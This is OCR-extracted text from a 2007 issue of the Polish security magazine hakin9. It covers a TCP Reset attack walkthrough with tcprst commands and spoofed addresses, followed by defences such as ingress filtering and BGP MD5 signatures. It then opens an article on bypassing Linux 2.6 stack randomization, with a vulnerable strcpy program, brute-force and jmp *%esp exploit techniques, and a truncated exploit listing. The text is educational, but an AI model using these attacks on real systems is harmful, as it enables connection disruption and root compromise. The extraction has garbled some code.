miast  zerwać  połączenie  wystarczy 
wysłać pakiet z ustawioną flagą RST 
(reset)  lub  RST+ACK,  jeśli  chcemy 
otrzymać potwierdzenie.

Porty

Nagłówek  TCP  zawiera  dwa  16-
bitowe  pola  w  których  występują 
informacje na temat portu źródłowe-
go  i  portu  docelowego.  Komputery 

podłączone do sieci komunikują się 
ze  światem  zewnętrznym  przez 
porty,  które  pozwalają  zarówno  na 
wysyłanie,  jak  i  odbieranie  danych. 
Porty umożliwiają identyfikację kon-
kretnego połączenia oraz pozwalają 
ustalić,  które  pakiety  przesyłane  są 
w jego zakresie. Z tego powodu dwa 
połączenia  wychodzące  nie  mogą 
wykorzystywać  tego  samego  portu 
źródłowego.

Kiedy  chcemy  nawiązać  połą-

czenie z konkretną usługą na innym 
komputerze,  na  przykład  SSH,  nu-
mer  portu  docelowego  w  pakiecie 
SYN będzie miał wartość 22 (jest to 
domyślny  numer  portu  dla  tej  usłu-
gi,  chociaż  może  być  inny).  Zwy-
kle  mamy  możliwość  wyboru  portu, 
na jaki chcemy się połączyć, ponie-
waż aplikacja udostępnia taką moż-
liwość.  Port  źródłowy  ustalany  jest 
przez  system  operacyjny  (aczkol-
wiek  możliwe  jest,  aby  wyboru  do-
konała aplikacja). Zwykle jest to ko-
lejny  wolny  numer.  Nie  jest  on  wy-
bierany,  jak  mogłoby  się  wydawać, 
z pełnej puli 65536 portów. Część z 
nich  jest  zarezerwowana  dla  uprzy-
wilejowanych  procesów  (najczę-
ściej pierwsze 1024) oraz dla funkcji 

Losowe porty

Większość  systemów  operacyjnych 
i urządzeń sieciowych wybierając port 
źródłowy  dla  tworzonego  połączenia 
korzysta  z  kolejnego  wolnego.  Wy-
jątkiem  jest  OpenBSD,  który  losuje 
porty  ze  zbioru  nieużywanych  przez 
inne połączenia. Twórcy tego systemu 
bardzo duży nacisk kładą na jego bez-
pieczeństwo.  W  przypadku  systemu 
Linux,  podobną  funkcję  oferuje  łatka 
grsecurity.

Tabela 2. 

Numery pierwszych dostępnych dla połączeń portów źródłowych

System operacyjny

Pierwszy dostępny port TCP

Linux 2.4.x

1024

Windows XP (SP1, SP2)

1050

Windows 2000 SP3

1060

Windows 2000 SP4

1038

*BSD

1024

Atak z flagą SYN

Zamiast  flagi  RST  możemy  z  powo-
dzeniem  wykorzystać  flagę  SYN  do 
przerwania połączenia. Większość im-
plementacji stosu TCP odpowie wysy-
łając pakiet z ustawioną flagą RST oraz 
właściwym  numerem  sekwencyjnym, 
powodując  zakończenie  transmisji. 
W  ten  sposób  prowokujemy  jedną  ze 
stron do przerwania połączenia.

Rysunek 2. 

Nawiązywanie połączenia TCP, tzw. three-way handshake

Host A

ISN = A, ACK = 0

SYN

Host B

Host A

ISN = B, ACK = A + 1

SYN+ACK

Host B

Host A

SEQ = A + 1, ACK = B + 1

ACK

Host B

background image

Przecinanie kabla - atak TCP

hakin9 Nr 2/2007

www.hakin9.org

33

systemowych jak na przykład trans-
lacji  adresów  (w  tym  przypadku  od 
49152 do 65535).

Podobnie jak w przypadku począt-

kowego rozmiaru okna, poszczególne 
implementacje  stosu  TCP  różnią  się 
pod  względem  ilości  portów  zare-
zerwowanych  dla  uprzywilejowanych 
procesów.  Tabela  2  przedstawia  nu-
mery pierwszych dostępnych do użyt-
ku  portów  w  przypadku  popularnych 
systemów operacyjnych.

Przerywanie połączeń

Atak  TCP  Reset  polega  na  zmu-
szeniu jednej ze stron do zerwania 
połączenia  podszywając  się  pod 
adres  drugiego  komputera.  Wy-
obraźmy sobie, że komputer A ma 
nawiązane  połączenie  z  kompute-
rem B. Trzeci komputer C chce ze-
rwać to połączenie. Wysyła w tym 
tym  celu  do  komputera  A  pakiet  z 
ustawioną  flagą  RST  oraz  z  ad-
resem  źródłowym  należącym  do 
komputera  B.  Pakiet  zawiera  tak-
że porty - źródłowy i docelowy od-
powiadające  atakowanemu  połą-
czeniu  oraz  aktualnie  obowiązują-
cy  (czyli  taki,  który  spodziewa  się 
otrzymać  komputer  A)  numer  se-
kwencyjny. Gdy komputer A otrzy-
ma ten pakiet, natychmiast zerwie 
połączenie.

Głównym  problemem  jest  od-

gadnięcie  numeru  sekwencyjne-
go,  który  zostanie  zaakceptowa-
ny  przez  jedną  ze  stron  połącze-
nia.  Ponieważ  numery  sekwen-
cyjne  mają  długość  32  bitów,  licz-
ba  możliwych  permutacji  wynosi 
4294967296, czyli ponad 4 miliardy. 
Jeśli  komputer  C  miałby  zgadywać 
numer sekwencyjny to jego szanse 
powodzenia  są  znacznie  mniejsze 
niż  szanse  na  główną  wygraną  w 
popularnej grze liczbowej. 

Atakujący  może  także  wyko-

rzystać  wszystkie  możliwości,  jed-
nak  w  najgorszym  przypadku  bę-
dzie to wymagało wysłania 160GB 
danych,  przy  założeniu,  że  każdy 
wysłany pakiet RST ma długość 40 
bajtów. Czas potrzebny na wysłanie 
takiej ilości danych przy użyciu łą-
cza DSL 1Mb/s wynosi około 2 ty-
godni.  Połączenie  między  kompu-

terem  A  i  B  zostanie  zakończone 
w krótszym czasie w sposób natu-
ralny. Rozwiązaniem problemu jest 
rozmiar  okna  w  pakiecie  TCP.  Po-
nieważ rozmiar okna oznacza mak-
symalną  ilość  pakietów,  na  które 
jedna ze stron nie musi odsyłać po-
twierdzenia,  wystarczy  wysłać  pa-
kiet  ze  zbliżoną  wartością  numeru 
sekwencyjnego  (w  zależności  od 
rozmiaru  okna).  System  musi  za-
akceptować  pakiet  z  numerem  se-
kwencyjnym  różniącym  się  w  gra-
nicy  rozmiaru  okna,  ponieważ  wie, 
że dane mogą docierać w nieodpo-
wiedniej kolejności. 

Na  przykład,  oczekiwanym  nu-

merem  sekwencyjnym  jest  SEQ  i 
rozmiar  okna  po  stronie  komputera 
A  wynosi  16384  bajtów.  Teraz  wy-
starczy,  że  atakujący  komputer  C 
wyśle  do  A  pakiet  z  numerem  se-
kwencyjnym  z  przedziału  od  SEQ 
do  SEQ+16384-1  (przy  założeniu, 
że  bufor  dla  okna  komputera  A  jest 
pusty, to znaczy nie otrzymał jeszcze 
danych), aby został zaakceptowany. 

Oznacza  to,  że  łączna  ilość  da-

nych,  które  musimy  wysłać  maleje 
do  10MB,  ponieważ  ilość  pakietów 
wynosi  teraz  262144.  W  przypad-
ku  większego  rozmiaru  okna,  ilość 
wysłanych  danych  będzie  jeszcze 
mniejsza.  Zależność  przedstawia 
Tabela  3.  Warto  zauważyć,  że  po-
dane  wartości  odpowiadają  najgor-
szemu  scenariuszowi.  W  rzeczywi-
stości  ilość  potrzebnego  czasu  bę-
dzie średnio o połowę mniejsza. Po-
nadto,  jeśli  wykorzystywane  będzie 
rozszerzenie protokołu TCP Window 

Scaling,  ilość  potrzebnych  pakietów 
zmniejszy się jeszcze bardziej. Teo-
retycznie,  w  przypadku  największe-
go możliwego rozmiaru okna będą to 
tylko 4 pakiety.

Przykładowy atak

Do  przeprowadzenia  własnego  ata-
ku  wykorzystamy  gotowy  program 

tcprst.c,  którego  główna  zaleta  to 
fakt,  iż  nie  potrzebuje  on  żadnych 
zewnętrznych bibliotek. Wykorzystu-
je  gniazda  typu  RAW  do  wysyłania 
pakietów.  Do  poprawnego  działania 
programu  wymagane  są  najwyższe 
uprawnienia  oraz  odpowiedni  spo-
sób kompilacji:

# gcc -DNOSCRIPTKID -o tcprst tcprst.c

Nasze narzędzie jest gotowe do pra-
cy. Teraz musimy utworzyć przykła-
dowe  połączenie,  które  następnie 
przerwiemy. Do tego celu wykorzy-
stamy dwa komputery połączone w 
sieci lokalnej z dostępem do Interne-
tu. Pierwszy o adresie 192.168.0.101 
działa  pod  kontrolą  Linuksa. 

Rysunek 2. 

Schemat ataku, w którym 

komputer C przerywa połączenie 

między komputerami A i B

Internet

C

RST

  DST ADDR = A

    SRC ADDR = B

A

B

Tabela 3. 

Czas ataku w zależności od wielkości okna TCP przy użyciu łącza 1Mb/s

Rozmiar okna

Ilość danych [MB]

Potrzebny czas [s]

4096

40

320

8192

20

160

16384

10

80

32768

5

40

65535

2,5

20

background image

hakin9 Nr 2/2007

www.hakin9.org

Atak

34

Wykorzystamy go do przeprowadze-
nia ataku. Drugi komputer o adresie 
192.168.0.1 działa pod kontrolą sys-
temu Windows XP. Za jego pomocą 
nawiążemy  długotrwałe  połączenie 
z usługą HTTP na porcie 80:

C:\>netstat -n |find ":80"
TCP    192.168.0.1:1573
64.223.167.99:80
USTANOWIONO

Gdy  znamy  już  parametry  połącze-
nia, czyli adresy i porty, musimy zde-
cydować,  którą  stronę  wykorzystać 
do  przerwania  komunikacji.  Zależy 
nam na czasie potrzebnym do prze-
prowadzenia ataku, który będzie się 
różnił w zależności od adresu wybra-
nego komputera. Czas ataku zależy 
od  przepustowości  łącza  między 
nami  (atakującym),  a  atakowanym 
komputerem  oraz  rozmiaru  okna 
(czyli  także  od  systemu  operacyj-
nego)  użytym  przez  komputer,  do 
którego  będziemy  wysyłać  pakiety. 
My wykorzystamy komputer z naszej 
sieci  lokalnej,  ponieważ  szybkość 
połączenia  będzie  wielokrotnie 
większa niż w przypadku komputera 

64.223.167.99

 oraz dlatego, że działa 

pod  kontrolą  systemu  z  większym 
rozmiarem  okna  (mniejsza  liczba 

pakietów  do  wysłania).  Do  identyfi-
kacji systemu operacyjnego (w celu 
poznania  początkowego  rozmiaru 
okna) możemy użyć skanera portów 

nmap z opcją 

-O

.

Kiedy już wybraliśmy adres kom-

putera, pozostaje nam uruchomienie 

tcprst. Program wymaga czterech pa-
rametrów: adresu komputera pod któ-
ry się podszywamy (czyli adres źró-
dłowy, opcja 

-S

), portu źródłowego z 

którego korzysta ten komputer (para-
metr 

-s 80

) oraz adresu i portu na któ-

ry zostaną wysłane pakiety RST. Ist-
nieje  jeszcze  możliwość  określenia 
rozmiaru okna przy pomocy dodatko-
wej, piątej opcji 

-w

 (domyślny rozmiar 

to 16384). Ponieważ atakowany kom-
puter  działa  pod  kontrolą  Windows 
XP, zgodnie z Tabelą 1 zdefiniujemy 
rozmiar na 64000 bajtów:

# ./tcprst -S 64.223.167.99 -s 80 -D
192.168.0.1 -d 1573 -w 64000

Program informuje nas o postępach 
wyświetlając  licznik  pakietów  oraz 
wysłane  numery  sekwencyjne.  Po 
zakończeniu  lub  jeszcze  w  trakcie 
pracy  na  atakowanym  komputerze 
powinien  wyświetlić  się  komunikat 
podobny do tego pokazanego na Ry-
sunku 4. Dzięki dużej przepustowo-

ści  sieci  lokalnej,  wszystkie  pakiety 
zostały  wysłane  w  ciągu  niecałych 
trzech sekund.

Fakt,  że  przeprowadzony  atak 

zakończył się powodzeniem potwier-
dza także informacja pochodząca z 
programu  netstat  na  atakowanym 
systemie:

C:\>netstat -n |find ":80"
TCP    192.168.0.1:1573       
64.223.167.99:80      
CZAS_OCZEKIWANIA

Zachęcam  do  zapoznania  się  z  ko-
dem źródłowym naszego narzędzia. 
Jest  krótki  i  przejrzysty,  co  ułatwi 
jego analizę i pozwoli zapoznać się 
z atakiem od strony programowej.

Kto jest zagrożony

Ponieważ  jest  to  wada  protokołu 
TCP,  czyli  kręgosłupa  Internetu, 
zagrożeni  są  wszyscy  użytkownicy, 
chociaż  nie  bezpośrednio.  Szcze-
gólnie narażone są długotrwałe po-
łączenia, jak na przykład sesje TCP 
wykorzystywane przez protokół BGP 
(Border Gateway Protocol). Jego za-
daniem  jest  wykonywanie  routingu 
w sieciach pracujących z protokołem 
TCP/IP.  Sesje  BGP  są  zdecydowa-
nie  dłuższe  i  bardziej  przewidywal-
ne,  niż  większość  połączeń  między 
dwoma  urządzeniami  z  publicznymi 
adresami IP.

Rysunek 4. 

Komunikat potwierdzający, że atak przebiegł pomyślnie

W Sieci

•   http://elceef.itsec.pl/tcprst.c  –  na-

rzędzie  użyte  do  przeprowadzenia 
przykładowego ataku,

•   http://www.takedown.com/coverage/

tsu-post.html – analiza włamania do 
komputera Tsutomu Shimomury,

•   http://www.faqs.org/rfcs/rfc1948.html 

–  RFC-1948,  obrona  przed  atakami 
na numery sekwencyjne,

•   http://www.faqs.org/rfcs/rfc2827.html 

–  RFC-2827,  obrona  przed  atakami 
DoS z wykorzystaniem podszywania 
pod adresy IP (spoofing),

•   h t t p : / / w w w . f a q s . o r g / r f c s/

rfc2385.html – RFC-2385, ochrona 
sesji BGP przez sygnatury MD5,

•   http://www.ietf.org/rfc/rfc793.txt 

–  RFC-793,  specyfikacja  protokołu 
TCP.

Rysunek 3. 

Program tcprst podczas pracy

background image

Przecinanie kabla - atak TCP

Zakłócenie  komunikacji  między 

routerami  wykorzystującymi  ten 
protokół będzie miało wpływ na wy-
dajność komunikacji w sieci dla wielu 
użytkowników.

Metody obrony

Nie możemy poprawić samego pro-
tokołu,  ale  wykorzystać  możliwości, 
które  już  posiadamy  -  owszem. 
Możemy  podjąć  próby  zmniejszenia 
domyślnego rozmiaru okna TCP, jed-
nak nie jest to zalecane rozwiązanie. 
Zmniejszymy  jedynie  ryzyko  ataku 
kosztem  szybkości  połączeń.  Po-
nadto nie ma gwarancji, że wszystkie 
używane  przez  nas  aplikacje  będą 
respektowały wprowadzone zmiany.

Filtrowanie

To  najbardziej  skuteczna  meto-
da  obrony.  Atak  TCP  Reset  opie-
ra się na możliwości podszycia pod 

adres  jednego  z  urządzeń.  Route-
ry  dostawców  internetowych  (ISP) 
nie  powinny  przepuszczać  pakie-
tów,  których  adresy  źródłowe  nie 
należą  do  puli  adresów  ich  sieci. 
Oczywiście nie ograniczy to możli-
wości ataku z wewnątrz, ale jednak 
jest  najlepszym  możliwym  rozwią-
zaniem. Ponadto ograniczy to ata-
ki innego typu, jak na przykład atak 
odmowy  obsługi  (Denial  of  Servi-

ce)  polegający  na  wysyłaniu  wielu 
pakietów  z  losowym  adresem  źró-
dłowym.  Wiele  przydatnych  wska-
zówek na ten temat zawiera doku-
ment RFC-2827.

Sygnatury MD5 

dla połączeń BGP

Protokół  BGP  posiada  obsługę  cy-
frowego  podpisu  przy  wykorzysta-
niu  algorytmu  szyfrowania  MD5 
(RFC-2385).  Włączenie  jej  spowo-
duje, że każdy pakiet będzie zawie-
rał  dodatkową  opcję  pod  nagłów-
kiem TCP. Opcja zawiera sumę kon-
trolną MD5 dla wybranych elemen-
tów nagłówka TCP oraz ustalonego 
wcześniej  klucza  znanego  dla  obu 
stron  połączenia.  Bez  znajomości 
klucza  jest  praktycznie  niemożliwe 
zbudowanie pakietu, który przerwie 
takie połączenie. Większość komer-

cyjnych  rozwiązań  wspiera  obsłu-
gę  podpisu  MD5  w  pakietach  TCP 
sesji  BGP.  W  przypadku  systemów 
open source takich jak Linux, więk-
sze  bezpieczeństwo  będzie  nieste-
ty wymagało większego wysiłku po-
przez instalację dodatkowego opro-
gramowania.

Podsumowanie

Zagrożenie atakiem tego rodzaju na-
prawdę  istnieje.  Praktyczna  część 
artykułu miała za zadanie pokazać, 
że słabość protokołu może wykorzy-
stać każdy, kto dysponuje odpowied-
nią wiedzą i nadmiarem czasu. Wiele 
osób jest zdania, że zagrożenie jest 
niewielkie. Jednak w przyszłości mo-
że powstać robak internetowy z po-
wodzeniem  wykorzystujący  opisaną 
metodę  do  zakłócania  komunikacji 
w Internecie. 

Robaki  mają  niewątpliwą  możli-

wość  przeprowadzenia  rozproszo-
nego działania z wielu miejsc jedno-
cześnie, co uczyni atak jeszcze bar-
dziej skutecznym. Można wiele zro-
bić,  aby  zapobiec  temu  scenariu-
szowi.  Tworzenie  wydajnych  i  jed-
nocześnie  bezpiecznych  implemen-
tacji stosu TCP jest dobrym rozwią-
zaniem. l

O autorze

Zajmuje  się  bezpieczeństwem  sieci 
i  systemów  komputerowych.  Czasami 
bawi  się  w  programistę  tworząc  coś, 
co ma być przydatne, ale różnie z tym 
bywa.  Na  co  dzień  student  drugiego 
roku informatyki.
Kontakt z autorem: elceef@itsec.pl

R

E

K

L

A

M

A

background image

www.hakin9.org

hakin9 Nr 2/2007

36

Obrona

W

ersja  2.6  linuxowego  kernela  po-
siada  wbudowane  zabezpieczenie, 
które  chroni  system  przed  exploita-

mi opartymi na przepełnieniu buforu: początek 
stosu  każdego  procesu  jest  mieszany.  Ozna-
cza  to,  że  przy  każdorazowym  uruchomieniu 
aplikacji, początkowy stos posiada losowy ad-
res  z  zakresu  8MB.  Dzięki  temu,  exploity  ba-
zujące  na  oczekiwaniu  znalezienia  ShellCo-
de'u zawsze pod tym samym adresem, nie są 
efektywne. ShellCode, zazwyczaj obecny we-
wnątrz buforu lub wewnątrz zmiennej środowi-
skowej, będzie posiadał inną pozycję przy każ-
dym uruchomieniu aplikacji. W tym artykule ob-
jaśnię, jak łatwo można obejść to zabezpiecze-
nie  używając  dwóch  różnych  technik.  Pierw-
sza zakłada atack typu bruteforce w poszuki-
waniu adresu ShellCode'u, co owocuje uzyska-
niem dostępu root do shella w ciągu kilku prób. 
Drugi sposób polega na przekierowaniu proce-
su wykonania aplikacji do konkretnego opcode-
'u (ang. Operation Code) i jest stosowany za-
zwyczaj w exploitach systemu Windows.

Podatna na atak aplikacja

Program podatny na atak, do którego będzie-
my stosować exploity to vuln1.c, przedstawiony 

na Listingu 1. Jak widzimy, bufor 32 bajtów jest 
zadeklarowany i są do niego kopiowane pew-
ne dane, bez sprawdzania ich wielkości. Kon-
sekwencją  tego  może  być  przepełnienie  bu-
fora,  co  umożliwia  nadpisanie  stosu.  Naszym 
systemem testowym jest Fedora 4 z kernelem 
2.6.14.4 vanilla.

Szukamy adresu 

metodą bruteforce

Pierwszym problemem związanym z mechani-
zmem ochronnym w linuxowym kernelu 2.6 jest 

Jak ominąć zabezpieczenie 

mieszania stosu w kernelu 

2.6?

Enrico Feresin

stopień trudności

W dzisiejszych czasach co kilka dni słyszy się o wykryciu błędów 

w aplikacjach, przez co dochodzi do przepełniania buforu. Ta 

sytuacja spowodowała konieczność opracowania nowych metod 

ochrony, które mogą wspomóc zabezpieczenia i stabilność 

systemu, niezależnie od występowania podatności na expoity w 

zainstalowanym oprogramowaniu.

Z artykułu dowiesz się…

•   Dowiesz  się,  jak  ominąć  zapezpieczenie  mie-

szania stosu w linuxowym kernelu 2.6, by móc 
zastosować exploit oparty na przepełnieniu sto-
su.

Powinieneś wiedzieć…

•   Przydatna będzie znajomość języka C,
•   Przydatna  okaże  się  także  wiedza  na  temat 

technik exploitowania aplikacji w oparciu o bu-
for

background image

Przepełnianie buforu w kernelu 2.6

hakin9 Nr 2/2007

www.hakin9.org

37

zbyt  mała  wielkość,  jaką  dysponu-
jemy w przypadku losowania pierw-
szego  adresu  stosu.  Zakres  możli-
wych  adresów,  w  których  możemy 
znaleźć  stos,  to  jedynie  8MB.  Tym 

samym, jeśli umieścimy dużą liczbę 
komend pustych (ang. NOPs) zaraz 
przed  ShellCodem,  możemy  zwięk-
szyć  prawdopodobieństwo  natrafie-
nia na adres do tego stopnia, że kil-

kukrotny atak metodą bruteforce po-
zwoli nam uzyskać dostęp do shella 
jako root. Ta metoda daje się oczywi-
ście zastosować jedynie w przypad-
ku ataku lokalnego.

Przyjrzyjmy  się  kodowi  aplika-

cji  bruteforce-exp.c  zamieszczone-
mu na Listingu 2a oraz 2b. Kod ten 
zawiera  exploit,  który  wykorzystu-
je lukę w naszej aplikacji, by zmie-
nić  rekord  aktywujący  (ang.  acti-

vation  record)  funkcję,  powodując 
zmianę sekwencji wykonywania po-
leceń  (ang.  execution  flow).  Para-
metr  przekazywany  do  naszej  po-
datnej  na  atak  aplikacji  ma  64  baj-
ty,  jest  on  kopiowany  na  32-bajto-
wy  bufor,  powodując  zmiany  w  są-
siadujących  jednostkach  pamięci. 
ShellCode  jest  zaimplementowa-
ny  wewnątrz  zmiennej  środowisko-
wej i jest poprzedzony 128.000 ko-
mend NOP. Tym sposobem, komen-
dy NOP oraz ShellCode pokrywają 
około  1/65  zakresu  przydzielonego 
na  adres  stosu.  W  przypadku  pro-
blemów z wykonywaniem testu, su-
geruję  zmniejszenie  ilości  komend 
NOP, pamiętając, by nie przesadzić. 
Istotnie,  im  bardziej  zmniejszymy 
ilość komend NOP, tym więcej prób 
będzie  potrzebnych,  by  sukcesyw-
nie  przeprowadzić  operację  brute-
force. Wartość użyta do modyfikacji 
rekordu  aktywującego  jest  obliczo-
na  w  taki  sposób,  by  maksymalnie 
wydłużyć  czas,  który  zyskamy  wy-
konywując  komendy  NOP.  Musi-
my  wziąć  największy  możliwy  ad-
res  stosu  (0xc0000000)  i  odjąć  od 
niego rozmiar elementów stojących 
zaraz  za  początkiem  stosu  oraz 
zmiennej  środowiskowej  zawiera-
jącej  ShellCode,  która  znajdzie  się 
zaraz za nimi.

Na  Rysunku  2.  zakolorowa-

ny  obszar  reprezentuje  zakres  8 
MB pamięci, w którym powinniśmy 
znaleźć  początek  stosu.  Czerwo-
ny  kolor  reprezentuje  obszar  zaj-
mowany przez exploit, zaś żółty to 
niezajęta sekcja. Jeśli adres górne-
go  stosu  elementu  stosu  jest  we-
wnątrz  żółtego  obszaru,  aplikacja 
zakończy się z błędem Segmenta-

tion Fault, ponieważ sekwencja wy-
konywania  poleceń  zostanie  prze-

Listing 1. 

Vuln.c

/*
 *     __   ___   _
 *    /  \ |   \ | | /\---------------------------------------------------->
 *   / /\ \| |\ \| |/ /
 *  / /__\ \    /|   /         
 *  \______/ |\ \| | \         
 *<--------|_| \_\_|\_\       
 *
 * Program podatny na przepełnienie buforu
 *
 */

#include 

<string.h>

main

(

int

 

argc

char

 

*

argv

[])

{

   

char

 

buffer

[

32

];

   

strcpy

(

buffer

argv

[

1

]);

}

libShellCode

Stworzenie ShellCode'u do użycia w exploicie może osobom nie znającym ję-
zyka  assembler  przysporzyć  wiele  trudności.  Ci,  którzy  nie  chcą  tracić  cza-
su,  a  zależy  im  na  szybkim  stworzeniu  exploita,  mogą  wykorzystać  libShell-
Code. LibShellCode to biblioteka Open Source, którą stworzyłem, pozwalają-
ca na tworzenie ShellCode'u „w locie“, przy określeniu odpowiednich parame-
trów. Zaimplementowane API pozwala na tworzenie różnych typów ShellCode-
'ów dla Linuxa i BSD. libShellCode może być użyty w dwojaki sposób: może 
zostać wkomponowany do exploita jako biblioteka, lub może służyć do genera-
cji kodu, który następnie łatwo włączymy do exploita. W pierwszym przypad-
ku, API biblioteki jest dostępne wewnątrz kodu exploita, dzięki czemu nasza 
aplikacja  staje  się  bardzo  elastyczna.  Rysunek  1.  pokazuje  front-end  aplika-
cji  LibShellCode,  którą  możemy  pobrać  z  adresu  http://www.orkspace.net/
software/libShellCode

Rysunek 1. 

Jak skompilować podatny na atak program

background image

hakin9 Nr 2/2007

www.hakin9.org

Obrona

38

kierowana do obszaru pamięci za-
wierającego  kod  niewykonywalny. 
W  przypadku,  gdy  początek  sto-
su  jest  wewnątrz  czerwonej  sek-
cji,  sekwencja  wykonywania  po-
leceń  zostanie  przekierowana  na 
komendy  NOP  i  zostanie  wykona-
ny ShellCode. Małe objaśnienie do 
załączonego ShellCode'u: kod uży-
ty  do  wykonania  operacji  brutefor-
ce  wykonuje 

fork()

  używając  pro-

cesu  potomnego  w  celu  przepro-
wadzenia próby exploitu na podat-
nej aplikacji, oraz procesu rodzica, 
by  sprawdzić  rezultat.  Jeśli  explo-
it  zadziała,  proces  potomny  roz-
pocznie proces shella jako root, nie 
mając  konsoli  jako  standardowego 
wejścia.  To  spowoduje  natychmia-
stowe  zamknięcie  shella.  By  omi-
nąć  ten  problem,  ShellCode  musi 

zamknąć standardowe wejście bę-
dące  deskryptorem  pliku  (ang.  Fi-

le descriptor), zmieniając jego war-
tość na 0, a następnie otworzyć na-
rzędzie /dev/tty, które posłuży nam 
do  do  wczytywania  wejścia  z  kon-
soli  przed  wykonaniem  komendy 
shellowej.

Przekierowanie 

na jmp *%esp

Istnieje  technika  omijania  zabez-
pieczenia  oferowanego  przez  ker-
nel 2.6 w bardziej elegancki sposób, 
niż przedstawiony powyżej, bez ko-
niecznej  znajomości  adresu  Shell-
Code.

Ta  technika,  oryginalnie  opraco-

wana dla Windowsowych exploitów, 
polega  na  nadpisaniu  rekordu  ak-
tywującego  adresem  instrukcji 

jmp 

*%esp

, która jest już obecna w pamię-

ci podatnego na atak programu. Nie 
ma znaczenia, w którym segmencie 
pamięci jest przechowywana instruk-
cja, i tak będzie ona posiadać atry-
buty wykonywania.

Czytelnicy  mniej  obeznani  w  ję-

zyku  assembler  niech  wiedzą,  że 
ta instrukcja wykonuje skok do adre-
su  zapisanego  w  rejestrze 

%esp

  (co 

wskazuje na początek stosu). W cza-
sie przekierowania sekwencji wyko-
nywania  poleceń,  wartość  tego  re-
jestru  jest  znana  i  wskazuje  na  na-
stępny adres po pozycji rekordu ak-
tywującego  w  stosie.  To  wystarczy, 
by umieścić ShellCode pod tym ad-
resem,  uruchamiając  proces  rooto-
wy shella.

Rysunek  3.  pokazuje,  jak  musi 

być zbudowany bufor, który przeka-
żemy do podatnego na atak progra-
mu, by exploit zadziałał poprawnie. 
Pierwsza  część  (niebieska)  jest 
używana jedynie po to, by wypełnić 
bufor aż do rekordu aktywującego. 
Czerwona  sekcja  nadpisuje  rekord 
aktywujący  adresem  instrukcji 

jmp 

*esp

,  zaś  żółta  symbolizuje  Shell-

Code.  Po  przekazaniu  takiego  bu-
foru  do  podatnej  na  atak  aplikacji, 
sytuacja  stosu  po  kopiowaniu  bę-
dzie taka, jak na Rysunku 4. Pierw-
sza z dwóch reprezentacji pokazu-
je  sytuację  stosu  na  końcu  funk-
cji 

main()

,  przed  wykonaniem  in-

strukcji 

RET

. Zwróćmy uwagę, że re-

jestr 

%esp

 wskazuje na adres punk-

tu  aktywującego.  Wykonanie  in-
strukcji 

RET

  powoduje,  że  element 

na  szczycie  stosu  jest  kopiowany 
do rejestru 

%eip

 (który zawiera ad-

res  kolejnej  instrukcji,  którą  nale-
ży  wykonać).  Następnie  wskaźnik 
na szczycie stosu (

%esp

) jest zwięk-

szany, jak pokazano na Rysunku 4. 
Wykonanie instrukcji 

jmp *%esp

 po-

woduje  wykonanie  naszego  Shell-
Code'u.

By  utworzenie  exploita  powio-

dło  się,  niezbędny  jest  jeszcze  je-
den  element,  który  wymaga  osob-
nego omówienia. Musimy wiedzieć, 
jak  sprawdzić,  czy  instrukcja 

jmp 

*%esp

  istnieje  w  obszarze  adresu 

procesu, i – jeśli istnieje – jaki zaj-
muje adres. Miejmy na uwadze, że 

Rysunek 2. 

Reprezentacja amplitudy operacji losowania adresu stosu

Stack

Aktywny rekord

0xC0000000

8 MB

Niskie adresy pamięci

Rysunek 3. 

Struktura bufora użytego w drugim exploicie

AR

ShellCode

Rysunek 4. 

Struktura stosu po operacji nadpisania

AR Schell Code

ESP

ESP

Przed wykonaniem instrukcji RET

Po wykonaniu instrukcji RET

background image

Przepełnianie buforu w kernelu 2.6

hakin9 Nr 2/2007

www.hakin9.org

39

instrukcja  ta  musi  posiadać  okre-
ślony adres, który nie będzie zmie-
niał  się  przy  kolejnych  wykona-
niach poleceń (tym samym, nie mo-
że ona być umieszczona wewnątrz 
stosu lub w innej sekcji pamięci ze 
zmienną adresową). Jedne z odpo-
wiednich  sekcji,  od  których  nale-
ży rozpocząć poszukiwania, to kod 
wykonujący program lub dynamicz-
ne biblioteki. Jednak w kernelu 2.6, 
najlepszym segmentem pamięci, w 
którym  należy  poszukiwać  instruk-
cji, jest ten, który zawiera Linux-ga-

te.so. Jest to tzw. DSO (Dynamicz-
nie Udostępniany Obiekt, ang. Dy-

namically Shared Object), używany 
do  przyspieszania  wywołań  syste-
mowych  (ang.  System  Calls).  Naj-
bardziej  interesującym  nas  aspek-
tem  tego  obiektu  jest  fakt,  że  jest 
zmapowany  (zlokalizowany)  za-
wsze  na  tym  samym  adresie,  dla 
każdego procesu. Tym samym, je-
śli istrukcja, której poszukujemy ist-
nieje,  będzie  na  tym  samym  adre-
sie  w  każdym  procesie  systemo-
wym.

Aplikacja  find-jmp-esp.c,  wi-

doczna  na  Listingu  3,  poszukuje 
instrukcji 

jmp  *%esp

 wewnątrz seg-

mentu pamięci Linux-gate.so (który 
jest  zmapowany  między  adresem 
0xffffe000,  a  adresem  0xfffff000). 
Przeszukiwanie odbywa się w bar-
dzo prosty sposób. Ponieważ opco-

de  (np.  binarna  reprezentacja)  in-
strukcji  składa  się  z  dwóch  bajtów 
0xff  0xe4,  bez  problemu  znajdzie-
my w pamięci obszar, w którym wy-
stępuje sekwencja tych dwóch baj-
tów.

Teraz,  gdy  mamy  już  wszyst-

kie  niezbędne  elementy,  możemy 
stworzyć exploit. Spójrzmy na pro-
gram  exp2.c  pokazany  na  Listingu 
4a i 4b. Najpierw znajdujemy adres 
instrukcji 

jmp *%esp

 wewnątrz sekcji 

Linux-gate.so. Następnie, tworzony 
jest  bufor,  jak  pokazaliśmy  wcze-
śniej.  Pierwsza  część  buforu  (nie-
bieska  na  Rysunku  3.)  ma  36  baj-
tów. Rozmiar ten może być różny w 
zależności od użytego kompilatora, 
dlatego może być inny w przypad-
ku Twoich testów. By poznać odpo-
wiednią  wartość,  należy  przeana-

Listing 2a. 

Bruteforce-exp.c

/*
 *     __   ___   _
 *    /  \ |   \ | | /\---------------------------------------------------->
 *   / /\ \| |\ \| |/ /
 *  / /__\ \    /|   /         
 *  \______/ |\ \| | \         
 *<--------|_| \_\_|\_\       
 *
 * Ten kod exploituje program podatny na atak – vuln.c
 * na systemie Linux z kernelem 2.6 vanulla. Zabezpieczenie losujące adres 

stosu

 * jest łamane przez atak bruteforce.
 *
 */

#include 

<stdio.h>

#include 

<string.h>

#include 

<stdlib.h>

#include 

<unistd.h>

#

define

 

VULN_PROG

  

"./vuln"

#define BUFF_LEN   64
#define ENV_LEN    128000
#define NOP        0x90 
#define RET        (0xc0000000 - strlen(VULN_PROG) - 4 - ENV_LEN) 

char

 

shellcode

[]=

// close(0) open("/dev/tty")

"

